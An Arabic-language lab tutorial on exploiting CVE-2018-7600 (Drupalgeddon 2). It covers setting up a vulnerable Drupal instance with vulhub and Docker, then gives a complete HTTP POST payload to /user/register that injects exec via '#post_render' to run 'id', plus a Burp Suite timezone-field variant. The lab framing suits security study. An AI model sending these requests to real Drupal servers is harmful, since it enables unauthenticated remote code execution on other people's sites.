
دليل إثبات المفهوم لاستغلال ثغرة CVE-2018-7600 (Drupalgeddon 2) مع إعداد بيئة مختبر خطوة بخطوة وشرح الاستغلال باستخدام Docker وBurp Suite.
تسمح الإصدارات من Drupal 7 قبل 7.58، والإصدارات 8.x قبل 8.3.9، والإصدارات 8.4.x قبل 8.4.6، والإصدارات 8.5.x قبل 8.5.1 للمهاجم عن بُعد بتنفيذ تعليمات برمجية عشوائية بسبب مشكلة تؤثر على عدة أنظمة فرعية تستخدم تكوين الوحدة الأساسية أو الشائعة بما في ذلك Form API.
المراجع:

أولاً، نقوم بعمل Fork لمحتويات vulhub كما هو موضح في الشاشة التالية.

ثم نقوم بتنزيل المجلد كملف ZIP واستيراده.

نقوم بفك ضغط المحتويات المتعلقة بـ drupal (CVE-2018-7600) ورفعها إلى مستودعي.

الآن، لنقم بتكوين البيئة في Docker من خلال هذا المستودع.

نقوم باستيراد المستودع الخاص بي باستخدام أمر git clone، ثم ننتقل باستخدام cd إلى المجلد الذي يحتوي على ملف docker-compose.yml.
بعد ذلك، نقوم بتشغيل Docker في الخلفية باستخدام الأمر التالي:
docker-compose up -d
يمكننا رؤية أن التشغيل تم بنجاح كما يلي.

ننتقل إلى العنوان http://localhost:8080 لزيارة صفحة Drupal الرئيسية.

تظهر شاشة تكوين بيئة Drupal، ثم تظهر صفحة Drupal الرئيسية.
لتجربة الاستغلال، نقوم بإعداد بسيط كما يلي.

ثم يتم التحميل كما يلي.

بعد ذلك، نقوم بإدخال إعدادات إضافية للموقع (تم ضبطها على test لإعداد سريع للاستغلال).



أخيرًا، ننتهي من إعداد موقع Drupal بالكامل كما يلي.

بالرجوع إلى a2u/CVE-2018-7600، يمكن إرسال الطلب التالي إلى Drupal:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
CVE-2018-7600 (Drupalgeddon2) هو ثغرة هجوم غير مصادق يحاول التلاعب بحقول النموذج عبر AJAX من خلال /user/register، لذلك يمكننا التلاعب بالحزمة باستخدام Burp Suite.
أولاً، ندخل إلى صفحة التسجيل عبر موقع Burp Suite الوكيل، وندخل أي قيمة، ثم نلتقط الحزمة.

نستخدم Burp Suite للتلاعب بالحزمة.

نرسل الحزمة إلى Repeater ونضيف الكود التالي في الأسفل:
element_parents = timezone/timezone/#value
ajax_form = 1
_wrapper_format = drupal_ajax
timezone[timezone] = id
بعد إرسالها، نرى ظهور الأمر OK كما يلي.

لتقديم طلب أكثر خطورة، فإن هجوم CVE-2018-7600 (Drupalgeddon2) يكون أكثر فعالية إذا تم إرسال الهجوم فور تثبيت Drupal (قبل انتهاء معالج التثبيت).